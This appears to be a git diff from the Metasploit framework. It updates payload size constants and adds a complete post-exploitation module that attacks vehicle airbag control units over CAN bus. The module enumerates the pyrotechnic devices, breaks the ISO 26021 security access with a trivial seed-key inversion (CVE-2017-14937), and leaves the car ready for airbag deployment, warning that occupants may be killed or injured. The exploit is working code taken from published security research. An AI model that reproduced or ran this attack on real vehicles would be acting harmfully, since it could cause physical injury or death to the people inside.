include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 794800
|
||||
CachedSize = 956868
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 907360
|
||||
CachedSize = 1071464
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 907360
|
||||
CachedSize = 1071464
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 907360
|
||||
CachedSize = 1071464
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 793284
|
||||
CachedSize = 802564
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 793284
|
||||
CachedSize = 802564
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 793284
|
||||
CachedSize = 802564
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 57798
|
||||
CachedSize = 58390
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 57762
|
||||
CachedSize = 58354
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 57762
|
||||
CachedSize = 58354
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
|
||||
|
||||
module MetasploitModule
|
||||
|
||||
CachedSize = 57714
|
||||
CachedSize = 58306
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Python
|
||||
|
309
modules/post/hardware/automotive/pdt.rb
Normal file
309
modules/post/hardware/automotive/pdt.rb
Normal file
@ -0,0 +1,309 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core/post/hardware/automotive/uds'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::Post::Hardware::Automotive::UDS
|
||||
include Msf::Post::Hardware::Automotive::DTC
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
|
||||
'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
|
||||
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
|
||||
to discover how many pyrotechnic devices are present, then attempt to validate
|
||||
the security access token using the default simplified algorithm. On success,
|
||||
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
|
||||
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Johannes Braun', # original research
|
||||
'Juergen Duerrwang', # original research
|
||||
'Craig Smith' # research and module author
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-14937' ],
|
||||
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
|
||||
],
|
||||
'Platform' => ['hardware'],
|
||||
'SessionTypes' => ['hwbridge']
|
||||
))
|
||||
register_options([
|
||||
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
|
||||
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
|
||||
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
|
||||
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
|
||||
])
|
||||
end
|
||||
|
||||
LOOP_TABLE = {
|
||||
0x00 => 'ISOSAEReserved',
|
||||
0x01 => 'airbag driver side frontal 1st stage',
|
||||
0x02 => 'airbag left side frontal 1st stage',
|
||||
0x03 => 'airbag right side frontal 1st stage',
|
||||
0x04 => 'airbag driver side frontal 2nd stage',
|
||||
0x05 => 'airbag left side frontal 2nd stage',
|
||||
0x06 => 'airbag right side frontal 2nd stage',
|
||||
0x07 => 'airbag driver side frontal 3rd stage',
|
||||
0x08 => 'airbag left side frontal 3rd stage',
|
||||
0x09 => 'airbag right side frontal 3rd stage',
|
||||
0x0A => 'airbag passenger side frontal 1st stage',
|
||||
0x0B => 'airbag passenger side frontal 2nd stage',
|
||||
0x0C => 'airbag passenger side frontal 3rd stage',
|
||||
0x0D => 'airbag left side frontal 3rd stage',
|
||||
0x0E => 'airbag right side frontal 3rd stage',
|
||||
0x0F => 'airbag passenger frontal 1st stage - center',
|
||||
0x10 => 'airbag passenger frontal 2nd stage - center',
|
||||
0x11 => 'airbag passenger frontal 3rd stage - center',
|
||||
0x12 => '1st pretensioner driver side',
|
||||
0x13 => '1st pretensioner left side',
|
||||
0x14 => '1st pretensioner right side',
|
||||
0x15 => '2nd pretensioner driver side',
|
||||
0x16 => '2nd pretensioner left side',
|
||||
0x17 => '2nd pretensioner right side',
|
||||
0x18 => '1st pretensioner passenger side',
|
||||
0x19 => '2nd pretensioner passenger side',
|
||||
0x1A => '1st pretensioner passenger - center',
|
||||
0x1B => '2nd pretensioner passenger - center',
|
||||
0x1C => '1st pretensioner (2nd row) left',
|
||||
0x1D => '2nd pretensioner (2nd row) left',
|
||||
0x1E => '1st pretensioner (2nd row) right',
|
||||
0x1F => '2nd pretensioner (2nd row) right',
|
||||
0x20 => '1st pretensioner (2nd row) center',
|
||||
0x21 => '2nd pretensioner (2nd row) center',
|
||||
0x22 => '1st pretensioner (3rd row) left',
|
||||
0x23 => '2nd pretensioner (3rd row) left',
|
||||
0x24 => '1st pretensioner (3rd row) right',
|
||||
0x25 => '2nd pretensioner (3rd row) right',
|
||||
0x26 => '1st pretensioner (3rd row) center',
|
||||
0x27 => '2nd pretensioner (3rd row) center',
|
||||
0x28 => 'belt force limiter driver side',
|
||||
0x29 => 'belt force limiter left side',
|
||||
0x2A => 'belt force limiter right side',
|
||||
0x2B => 'belt force limiter passenger side',
|
||||
0x2C => 'belt force limiter passenger side - center',
|
||||
0x2D => 'belt force limiter 2nd row - left',
|
||||
0x2E => 'belt force limiter 2nd row - right',
|
||||
0x2F => 'belt force limiter 2nd row - center',
|
||||
0x30 => 'belt force limiter 3rd row - left',
|
||||
0x31 => 'belt force limiter 3rd row - right',
|
||||
0x32 => 'belt force limiter 3rd row - center',
|
||||
0x33 => 'headbag - driver side (roof mounted)',
|
||||
0x34 => 'headbag - passenger side (roof mounted)',
|
||||
0x35 => 'headbag - right side (roof mounted)',
|
||||
0x36 => 'headbag - left side (roof mounted)',
|
||||
0x37 => 'headbag - 2nd row - left (roof mounted)',
|
||||
0x38 => 'headbag - 2nd row - right (roof mounted)',
|
||||
0x39 => 'headbag - 3rd row - left (roof mounted)',
|
||||
0x3A => 'headbag - 3rd row - right (roof mounted)',
|
||||
0x3B => 'sidebag (curtain) - driver side',
|
||||
0x3C => 'sidebag (curtain) - passenger side',
|
||||
0x3D => 'sidebag (curtain) - left side',
|
||||
0x3E => 'sidebag (curtain) - right side',
|
||||
0x3F => 'sidebag (curtain) - 2nd row - left',
|
||||
0x40 => 'sidebag (curtain) - 2nd row - right',
|
||||
0x41 => 'sidebag (curtain) - 3rd row - left',
|
||||
0x42 => 'sidebag (curtain) - 3rd row - right',
|
||||
0x43 => 'sidebag - driver side (door mounted)',
|
||||
0x44 => 'sidebag - passenger side (door mounted)',
|
||||
0x45 => 'sidebag - left side (door mounted)',
|
||||
0x46 => 'sidebag - right side (door mounted)',
|
||||
0x47 => 'sidebag - 2nd row - left (door mounted)',
|
||||
0x48 => 'sidebag - 2nd row - right (door mounted)',
|
||||
0x49 => 'sidebag - 3rd row - left (door mounted)',
|
||||
0x4A => 'sidebag - 3rd row - right (door mounted)',
|
||||
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
|
||||
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
|
||||
0x4D => 'seatbag (cushion) - left side (seat mounted)',
|
||||
0x4E => 'seatbag (cushion) - right side (seat mounted)',
|
||||
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
|
||||
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
|
||||
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
|
||||
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
|
||||
0x53 => 'kneebag - driver side',
|
||||
0x54 => 'kneebag - passenger side',
|
||||
0x55 => 'kneebag - left side',
|
||||
0x56 => 'kneebag - right side',
|
||||
0x57 => 'kneebag - passenger side - center',
|
||||
0x58 => 'footbag - driver side',
|
||||
0x59 => 'footbag - passenger side',
|
||||
0x5A => 'footbag - left side',
|
||||
0x5B => 'footbag - right side',
|
||||
0x5C => 'footbag - passenger side - center',
|
||||
0x5E => 'active headrest - driver side',
|
||||
0x5F => 'active headrest - passenger side',
|
||||
0x60 => 'active headrest - left side',
|
||||
0x61 => 'active headrest - right side',
|
||||
0x62 => 'active headrest - passenger side - center',
|
||||
0x63 => 'active headrest - 2nd row - left',
|
||||
0x64 => 'active headrest - 2nd row - right',
|
||||
0x65 => 'active headrest - 2nd row - center',
|
||||
0x66 => 'active headrest - 3rd row - left',
|
||||
0x67 => 'active headrest - 3rd row - right',
|
||||
0x68 => 'active headrest - 3rd row - center',
|
||||
0x69 => 'battery clamp main battery',
|
||||
0x6A => 'battery clamp 2nd battery',
|
||||
0x6B => 'battery clamp 3rd battery',
|
||||
0x6C => 'battery clamp 4th battery',
|
||||
0x6D => 'roof-airbag front',
|
||||
0x6E => 'roof-airbag front',
|
||||
0x6F => 'bag in belt driver side',
|
||||
0x70 => 'bag in belt passenger side',
|
||||
0x71 => 'bag in belt left side',
|
||||
0x72 => 'bag in belt right side',
|
||||
0x73 => 'bag in belt passenger side - center',
|
||||
0x74 => 'bag in belt 2nd row - left',
|
||||
0x75 => 'bag in belt 2nd row - right',
|
||||
0x76 => 'bag in belt 2nd row - center',
|
||||
0x77 => 'bag in belt 3rd row - left',
|
||||
0x78 => 'bag in belt 3rd row - right',
|
||||
0x79 => 'bag in belt 3rd row - center',
|
||||
0x7A => 'rollover bar #1',
|
||||
0x7B => 'rollover bar #2',
|
||||
0x7C => 'rollover bar #3',
|
||||
0x7D => 'rollover bar #4',
|
||||
0x7E => 'active anti-submarining driver seat',
|
||||
0x7F => 'active anti-submarining passenger seat',
|
||||
0x80 => 'active anti-submarining left seat',
|
||||
0x81 => 'active anti-submarining right seat',
|
||||
0x82 => 'active anti-submarining passenger seat - center',
|
||||
0x83 => 'active anti-submarining seat 2nd row - left',
|
||||
0x84 => 'active anti-submarining seat 2nd row - right',
|
||||
0x85 => 'active anti-submarining seat 2nd row - center',
|
||||
0x86 => 'active anti-submarining seat 3rd row - left',
|
||||
0x87 => 'active anti-submarining seat 3rd row - right',
|
||||
0x88 => 'active anti-submarining seat 3rd row - center',
|
||||
0x89 => 'pedestrian protection front left hood lifter',
|
||||
0x8A => 'pedestrian protection front right hood lifter',
|
||||
0x8B => 'pedestrian protection rear left hood lifter',
|
||||
0x8C => 'pedestrian protection rear right hood lifter',
|
||||
0x8D => 'pedestrian protection a-pillar left',
|
||||
0x8E => 'pedestrian protection a-pillar right',
|
||||
0x8F => 'pedestrian protection wind screen',
|
||||
0x90 => 'pedestrian protection bumper left',
|
||||
0x91 => 'pedestrian protection bumper center',
|
||||
0x92 => 'pedestrian protection bumper right',
|
||||
0x93 => 'active steering column',
|
||||
0x94 => 'front screen - emergency release',
|
||||
0x95 => 'read window - emergency release'
|
||||
}
|
||||
|
||||
ACL_TYPES = {
|
||||
0x01 => 'CAN only',
|
||||
0x02 => 'ACL Comm Mode 12V',
|
||||
0x03 => 'ACL PWM FixedLevel 8V',
|
||||
0x04 => 'ACL Comm Mode 24V',
|
||||
0x05 => 'ACL PWM UbattLevel 12V',
|
||||
0x06 => 'ACL PWM UbattLevel 24V'
|
||||
}
|
||||
|
||||
PCU_ADDRESS_FORMAT = {
|
||||
0x01 => '11 bit normal addressing',
|
||||
0x02 => '11 bit extended addressing',
|
||||
0x03 => '11 bit mixed addressing',
|
||||
0x04 => '29 bit normal fixed addressing',
|
||||
0x05 => '29 bit mixed addressing',
|
||||
0x06 => '29 bit unique addressing'
|
||||
}
|
||||
|
||||
def print_vin(vin)
|
||||
return "" if vin.nil?
|
||||
vin.map! { |d| d.hex.chr }
|
||||
print_status(" VIN: #{vin.join}")
|
||||
end
|
||||
|
||||
def print_loop_table(loopid)
|
||||
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
|
||||
(3..loopid.size).each do |i|
|
||||
if i % 2 == 1
|
||||
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
|
||||
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
|
||||
else
|
||||
print_status(" #{loopid[i]} | <<UNKNOWN>>")
|
||||
end
|
||||
else
|
||||
if loopid[i] && loopid[i].hex == 0
|
||||
print_status(' | Deployment Status: Good')
|
||||
else
|
||||
print_status(" | Deployment Status: Fail (#{loopid[i]})")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
opt = {}
|
||||
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
|
||||
print_status('Gathering Data...')
|
||||
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
|
||||
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
|
||||
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
|
||||
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
|
||||
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
|
||||
acl_type_definition = loopid[0]
|
||||
acl_type_version = loopid[1]
|
||||
no_of_charges = loopid[2]
|
||||
|
||||
print_vin(vin)
|
||||
print_loop_table(loopid)
|
||||
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
|
||||
print_status(' Info About First PCU')
|
||||
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
|
||||
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
|
||||
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
|
||||
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
|
||||
print_status(" ACL Type version | #{acl_type_version.hex}")
|
||||
print_status
|
||||
print_status('Switching to Diagnostic Session 0x04...')
|
||||
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
|
||||
if resp.key? 'error'
|
||||
print_error("Could not switch to DSC 0x04: #{resp['error']}")
|
||||
return
|
||||
end
|
||||
# We may not need tester present at all because we will perform the action quickly
|
||||
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
|
||||
print_status('Getting Security Access Seed...')
|
||||
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
|
||||
if seed.key? 'error'
|
||||
print_error("Couldn't get seed: #{seed['error']}")
|
||||
return
|
||||
end
|
||||
print_status("Success. Seed: #{seed['SEED']}")
|
||||
print_status('Attempting to unlock device...')
|
||||
display_warning = false
|
||||
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
|
||||
print_status('Security Access Already Unlocked!!')
|
||||
display_warning = true
|
||||
else
|
||||
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
|
||||
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
|
||||
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
|
||||
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
|
||||
return
|
||||
end
|
||||
found_valid = false
|
||||
if (resp.key? 'Packets') && resp['Packets'].size > 0
|
||||
resp['Packets'].each do |i|
|
||||
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
|
||||
end
|
||||
end
|
||||
if found_valid
|
||||
print_status('Success!')
|
||||
display_warning = true
|
||||
else
|
||||
print_error("Unknown response: #{resp.inspect}")
|
||||
end
|
||||
end
|
||||
if display_warning
|
||||
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
|
||||
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
@ -14,7 +14,7 @@ RSpec.describe Rex::Post::Meterpreter::ClientCore do
|
||||
allow(@response).to receive(:result) { 0 }
|
||||
allow(@response).to receive(:each) { [:help] }
|
||||
@client = double("client")
|
||||
allow(@client).to receive(:binary_suffix) { "x64.dll" }
|
||||
allow(@client).to receive(:binary_suffix) { ["x64.dll"] }
|
||||
allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } }
|
||||
allow(@client).to receive(:response_timeout) { 1 }
|
||||
allow(@client).to receive(:send_packet_wait_response) { @response }
|
||||
|
Loading…
Reference in New Issue
Block a user